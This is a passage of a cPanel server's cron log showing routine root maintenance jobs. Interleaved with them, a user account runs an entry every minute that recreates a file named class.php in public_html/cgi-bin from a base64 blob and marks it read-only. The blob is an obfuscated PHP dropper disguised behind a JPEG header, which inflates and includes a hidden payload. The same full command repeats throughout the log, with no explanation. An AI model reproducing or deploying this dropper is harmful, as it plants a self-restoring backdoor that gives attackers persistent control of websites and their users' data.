--decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:34:01 server CROND[8137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:34:01 server CROND[8138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:34:01 server CROND[8139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:35:01 server CROND[8515]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:35:01 server CROND[8522]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:35:01 server CROND[8525]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 12:35:01 server CROND[8532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:35:01 server CROND[8529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:35:01 server CROND[8535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:35:01 server CROND[8530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:35:01 server CROND[8534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:35:01 server CROND[8531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:36:01 server CROND[9344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:36:01 server CROND[9345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:36:01 server CROND[9346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:37:01 server CROND[9717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:37:01 server CROND[9718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:37:01 server CROND[9719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:38:01 server CROND[10147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:38:01 server CROND[10148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:38:01 server CROND[10149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:39:01 server CROND[10638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:39:01 server CROND[10639]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 12:39:01 server CROND[10643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:39:01 server CROND[10640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:40:01 server CROND[11016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:40:01 server CROND[11017]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:40:01 server CROND[11027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:40:01 server CROND[11026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:40:01 server CROND[11022]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:40:01 server CROND[11025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:40:01 server CROND[11024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:40:01 server CROND[11023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:41:01 server CROND[11844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:41:01 server CROND[11845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:41:01 server CROND[11846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:42:01 server CROND[12213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:42:01 server CROND[12214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:42:01 server CROND[12215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:42:01 server CROND[12216]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:43:01 server CROND[12618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:43:01 server CROND[12619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:43:01 server CROND[12620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:44:01 server CROND[13087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:44:01 server CROND[13088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:44:01 server CROND[13089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:45:01 server CROND[13468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:45:01 server CROND[13469]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:45:01 server CROND[13473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:45:01 server CROND[13471]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
